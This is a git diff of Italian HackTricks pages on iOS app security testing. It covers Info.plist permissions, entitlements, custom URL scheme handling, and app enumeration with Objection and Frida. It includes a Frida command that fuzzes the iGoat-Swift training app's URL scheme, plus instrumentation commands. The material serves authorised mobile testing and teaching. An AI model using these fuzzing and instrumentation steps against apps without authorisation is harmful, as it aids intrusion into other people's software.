Gli sviluppatori hanno la possibilità di configurare determinate **funzionalità o autorizzazioni** per le loro app, come la **protezione dei dati** o la **condivisione del portachiavi**. Queste autorizzazioni vengono applicate immediatamente dopo l'installazione dell'app. Tuttavia, per accedere a determinate risorse protette, l'app deve ottenere il consenso esplicito dell'utente al momento del primo tentativo. Ciò viene realizzato attraverso l'uso di _stringhe di scopo_ o _stringhe di descrizione dell'uso_, che vengono presentate agli utenti in un avviso di richiesta di autorizzazione.
|
Gli sviluppatori hanno la possibilità di configurare determinate **capabilities o permissions** per le loro app, come **Data Protection** o **Keychain Sharing**. Queste autorizzazioni vengono applicate immediatamente dopo l'installazione dell'app. Tuttavia, per accedere a determinate risorse protette, l'app deve ottenere il consenso esplicito dell'utente al momento del primo tentativo. Questo viene realizzato attraverso l'uso di _purpose strings_ o _usage description strings_, che vengono presentate agli utenti in un avviso di richiesta di autorizzazione.
|
||||||
|
|
||||||
Per coloro che hanno accesso al codice sorgente, la verifica delle autorizzazioni incluse nel file `Info.plist` può essere effettuata seguendo questi passaggi:
|
Per coloro che hanno accesso al codice sorgente, la verifica delle autorizzazioni incluse nel file `Info.plist` può essere effettuata seguendo questi passaggi:
|
||||||
|
|
||||||
1. Aprire il progetto in Xcode.
|
1. Aprire il progetto in Xcode.
|
||||||
2. Trovare e aprire il file `Info.plist`.
|
2. Trovare e aprire il file `Info.plist`.
|
||||||
3. Cercare le chiavi con prefisso `"Privacy -"`, con l'opzione di visualizzare chiavi/valori grezzi per maggiore chiarezza.
|
3. Cercare le chiavi con prefisso `"Privacy -"`, con l'opzione di visualizzare chiavi/valori grezzi per chiarezza.
|
||||||
|
|
||||||
Quando si lavora con un file IPA, è possibile seguire i seguenti passaggi:
|
Quando si tratta di un file IPA, è possibile seguire i seguenti passaggi:
|
||||||
|
|
||||||
1. Decomprimere il file IPA.
|
1. Decomprimere l'IPA.
|
||||||
2. Trovare il file `Info.plist` all'interno di `Payload/<nomeapp>.app/`.
|
2. Trovare il file `Info.plist` all'interno di `Payload/<appname>.app/`.
|
||||||
3. Convertire il file in formato XML se necessario, per una più facile ispezione.
|
3. Convertire il file in formato XML se necessario, per una ispezione più semplice.
|
||||||
|
|
||||||
Ad esempio, le stringhe di scopo nel file `Info.plist` potrebbero apparire così:
|
Ad esempio, le purpose strings nel file `Info.plist` potrebbero apparire in questo modo:
|
||||||
```xml
|
```xml
|
||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>NSLocationWhenInUseUsageDescription</key>
|
<key>NSLocationWhenInUseUsageDescription</key>
|
||||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||||
```
|
```
|
||||||
## Capacità del dispositivo
|
## Device Capabilities
|
||||||
Il file `Info.plist` di un'app specifica le **capacità del dispositivo** che aiutano l'App Store a filtrare le app in base alla compatibilità del dispositivo. Queste sono definite sotto la chiave **`UIRequiredDeviceCapabilities`**. Ad esempio:
|
Il file `Info.plist` di un'app specifica **le capacità del dispositivo** che aiutano l'App Store a filtrare le app per la compatibilità del dispositivo. Queste sono definite sotto la chiave **`UIRequiredDeviceCapabilities`**. Ad esempio:
|
||||||
```xml
|
```xml
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
<array>
|
<array>
|
||||||
<string>armv7</string>
|
<string>armv7</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
Questo esempio indica che l'app è compatibile con l'insieme di istruzioni armv7. Gli sviluppatori possono anche specificare funzionalità come nfc per garantire che la loro app sia disponibile solo su dispositivi che supportano NFC.
|
Questo esempio indica che l'app è compatibile con il set di istruzioni armv7. Gli sviluppatori possono anche specificare capacità come nfc per garantire che la loro app sia disponibile solo per i dispositivi che supportano NFC.
|
||||||
|
|
||||||
## Entitlements
|
## Entitlements
|
||||||
|
|
||||||
**Entitlements** sono un altro aspetto critico dello sviluppo di app iOS, che fungono da coppie chiave-valore che concedono alle app il permesso di eseguire determinate operazioni al di là dei controlli in fase di esecuzione. Ad esempio, abilitare **Data Protection** in un'app comporta l'aggiunta di un entitlement specifico nel progetto Xcode, che viene quindi riflessa nel file degli entitlements dell'app o nel file di provisioning mobile incorporato per gli IPA.
|
**Entitlements** sono un altro aspetto critico dello sviluppo di app iOS, servendo come coppie chiave-valore che concedono alle app il permesso di eseguire determinate operazioni oltre ai controlli di runtime. Ad esempio, abilitare **Data Protection** in un'app comporta l'aggiunta di un entitlement specifico nel progetto Xcode, che viene poi riflesso nel file di entitlement dell'app o nel file di provisioning mobile incorporato per le IPA.
|
||||||
|
|
||||||
|
|
||||||
# Riferimenti
|
# References
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||||
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||||
|
@ -141,16 +142,17 @@ Questo esempio indica che l'app è compatibile con l'insieme di istruzioni armv7
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Questa è una sintesi delle informazioni correlate da [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
This is a sumary from the related information from [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
I custom URL schemes consentono alle app di comunicare utilizzando un protocollo personalizzato, come descritto nella [Documentazione per sviluppatori Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Questi schemi devono essere dichiarati dall'app, che gestisce quindi gli URL in ingresso seguendo tali schemi. È fondamentale **validare tutti i parametri URL** e **scartare eventuali URL non validi** per prevenire attacchi attraverso questo vettore.
|
Gli schemi URL personalizzati consentono alle app di comunicare utilizzando un protocollo personalizzato, come dettagliato nella [Documentazione per sviluppatori Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Questi schemi devono essere dichiarati dall'app, che gestisce quindi gli URL in arrivo seguendo tali schemi. È fondamentale **validare tutti i parametri URL** e **scartare eventuali URL malformati** per prevenire attacchi attraverso questo vettore.
|
||||||
|
|
||||||
Viene fornito un esempio in cui l'URI `myapp://hostname?data=123876123` invoca una specifica azione dell'applicazione. È stata riscontrata una vulnerabilità nell'app Skype Mobile, che consentiva azioni di chiamata non autorizzate tramite il protocollo `skype://`. Gli schemi registrati possono essere trovati nell'`Info.plist` dell'app sotto `CFBundleURLTypes`. Le applicazioni malevole possono sfruttare ciò registrando nuovamente gli URI per intercettare informazioni sensibili.
|
Un esempio è fornito dove l'URI `myapp://hostname?data=123876123` invoca un'azione specifica dell'applicazione. Una vulnerabilità nota era nell'app Skype Mobile, che consentiva azioni di chiamata non autorizzate tramite il protocollo `skype://`. Gli schemi registrati possono essere trovati nel `Info.plist` dell'app sotto `CFBundleURLTypes`. Le applicazioni malevole possono sfruttare questo registrando nuovamente URI per intercettare informazioni sensibili.
|
||||||
|
|
||||||
### Registrazione degli Application Query Schemes
|
### Application Query Schemes Registration
|
||||||
|
|
||||||
A partire da iOS 9.0, per verificare se un'app è disponibile, `canOpenURL:` richiede la dichiarazione degli URL schemes nell'`Info.plist` sotto `LSApplicationQueriesSchemes`. Ciò limita gli schemi che un'app può interrogare a 50, migliorando la privacy impedendo l'enumerazione delle app.
|
A partire da iOS 9.0, per controllare se un'app è disponibile, `canOpenURL:` richiede di dichiarare gli schemi URL nel `Info.plist` sotto `LSApplicationQueriesSchemes`. Questo limita gli schemi che un'app può interrogare a 50, migliorando la privacy prevenendo l'enumerazione delle app.
|
||||||
```xml
|
```xml
|
||||||
<key>LSApplicationQueriesSchemes</key>
|
<key>LSApplicationQueriesSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -30,9 +31,9 @@ A partire da iOS 9.0, per verificare se un'app è disponibile, `canOpenURL:` ric
|
||||||
<string>url_scheme2</string>
|
<string>url_scheme2</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
### Testare la gestione e la validazione degli URL
|
### Testing URL Handling and Validation
|
||||||
|
|
||||||
Gli sviluppatori dovrebbero ispezionare metodi specifici nel codice sorgente per comprendere la costruzione e la validazione del percorso dell'URL, come `application:didFinishLaunchingWithOptions:` e `application:openURL:options:`. Ad esempio, Telegram utilizza vari metodi per aprire gli URL:
|
Gli sviluppatori dovrebbero ispezionare metodi specifici nel codice sorgente per comprendere la costruzione e la validazione del percorso URL, come `application:didFinishLaunchingWithOptions:` e `application:openURL:options:`. Ad esempio, Telegram utilizza vari metodi per aprire URL:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||||
self.openUrl(url: url)
|
self.openUrl(url: url)
|
||||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Test delle richieste URL verso altre app
|
### Testing URL Requests to Other Apps
|
||||||
|
|
||||||
Metodi come `openURL:options:completionHandler:` sono fondamentali per aprire URL e interagire con altre app. Identificare l'uso di tali metodi nel codice sorgente dell'app è essenziale per comprendere le comunicazioni esterne.
|
Metodi come `openURL:options:completionHandler:` sono cruciali per aprire URL per interagire con altre app. Identificare l'uso di tali metodi nel codice sorgente dell'app è fondamentale per comprendere le comunicazioni esterne.
|
||||||
|
|
||||||
### Test dei metodi deprecati
|
### Testing for Deprecated Methods
|
||||||
|
|
||||||
I metodi deprecati che gestiscono l'apertura degli URL, come `application:handleOpenURL:` e `openURL:`, devono essere identificati e valutati per le implicazioni sulla sicurezza.
|
I metodi deprecati che gestiscono l'apertura di URL, come `application:handleOpenURL:` e `openURL:`, dovrebbero essere identificati e revisionati per le implicazioni di sicurezza.
|
||||||
|
|
||||||
### Fuzzing degli URL Scheme
|
### Fuzzing URL Schemes
|
||||||
|
|
||||||
Il fuzzing degli URL Scheme può identificare bug di corruzione della memoria. Strumenti come [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) possono automatizzare questo processo aprendo URL con payload variabili per monitorare eventuali crash, come esemplificato dalla manipolazione degli URL nell'app iGoat-Swift:
|
Il fuzzing degli schemi URL può identificare bug di corruzione della memoria. Strumenti come [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) possono automatizzare questo processo aprendo URL con payload variabili per monitorare eventuali crash, esemplificato dalla manipolazione degli URL nell'app iGoat-Swift:
|
||||||
```bash
|
```bash
|
||||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||||
|
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
Per questa sezione verrà utilizzato lo strumento [**Objection**](https://github.com/sensepost/objection).\
|
Per questa sezione verrà utilizzato lo strumento [**Objection**](https://github.com/sensepost/objection).\
|
||||||
Inizia ottenendo una sessione di Objection eseguendo qualcosa come:
|
Inizia ottenendo una sessione di objection eseguendo qualcosa come:
|
||||||
```bash
|
```bash
|
||||||
objection -d --gadget "iGoat-Swift" explore
|
objection -d --gadget "iGoat-Swift" explore
|
||||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||||
```
|
```
|
||||||
Puoi eseguire anche `frida-ps -Uia` per verificare i processi in esecuzione sul telefono.
|
Puoi eseguire anche `frida-ps -Uia` per controllare i processi in esecuzione del telefono.
|
||||||
|
|
||||||
# Enumerazione di base dell'app
|
# Enumerazione di base dell'app
|
||||||
|
|
||||||
|
@ -30,7 +31,7 @@ Puoi eseguire anche `frida-ps -Uia` per verificare i processi in esecuzione sul
|
||||||
```bash
|
```bash
|
||||||
env
|
env
|
||||||
|
|
||||||
Name Path
|
Nome Percorso
|
||||||
----------------- -----------------------------------------------------------------------------------------------
|
----------------- -----------------------------------------------------------------------------------------------
|
||||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||||
|
@ -38,22 +39,22 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
||||||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||||
```
|
```
|
||||||
|
|
||||||
## Elenco bundle, framework e librerie
|
## Elenco dei bundle, framework e librerie
|
||||||
|
|
||||||
* `ios bundles list_bundles`: Elenco dei bundle dell'applicazione
|
* `ios bundles list_bundles`: Elenca i bundle dell'applicazione
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_bundles
|
ios bundles list_bundles
|
||||||
Executable Bundle Version Path
|
Eseguibile Bundle Versione Percorso
|
||||||
------------ -------------------- --------- -------------------------------------------
|
------------ -------------------- --------- -------------------------------------------
|
||||||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||||
```
|
```
|
||||||
* `ios bundles list_frameworks`: Elenco dei framework esterni utilizzati dall'applicazione
|
* `ios bundles list_frameworks`: Elenca i framework esterni utilizzati dall'applicazione
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ios bundles list_frameworks
|
ios bundles list_frameworks
|
||||||
Executable Bundle Version Path
|
Eseguibile Bundle Versione Percorso
|
||||||
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
------------------------------ -------------------------------------------- ---------- -------------------------------------------
|
||||||
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
|
||||||
...vateFrameworks/CoreDuetContext.framework
|
...vateFrameworks/CoreDuetContext.framework
|
||||||
|
@ -76,11 +77,11 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
||||||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
* `memory list modules`: Elenco dei moduli caricati in memoria
|
* `memory list modules`: Elenca i moduli caricati in memoria
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list modules
|
memory list modules
|
||||||
Name Base Size Path
|
Nome Base Dimensione Percorso
|
||||||
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
||||||
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
||||||
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
||||||
|
@ -92,32 +93,33 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
|
||||||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
* `memory list exports <module_name>`: Esportazioni di un modulo caricato
|
* `memory list exports <module_name>`: Esporta di un modulo caricato
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
memory list exports iGoat-Swift
|
memory list exports iGoat-Swift
|
||||||
Type Name Address
|
Tipo Nome Indirizzo
|
||||||
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
|
||||||
variable _mh_execute_header 0x104ffc000
|
variabile _mh_execute_header 0x104ffc000
|
||||||
function _mdictof 0x10516cb88
|
funzione _mdictof 0x10516cb88
|
||||||
function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
|
funzione _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c
|
||||||
function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
|
funzione _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4
|
||||||
function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
|
funzione _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8
|
||||||
function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
|
funzione _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c
|
||||||
function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
|
funzione _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20
|
||||||
function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
|
funzione _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8
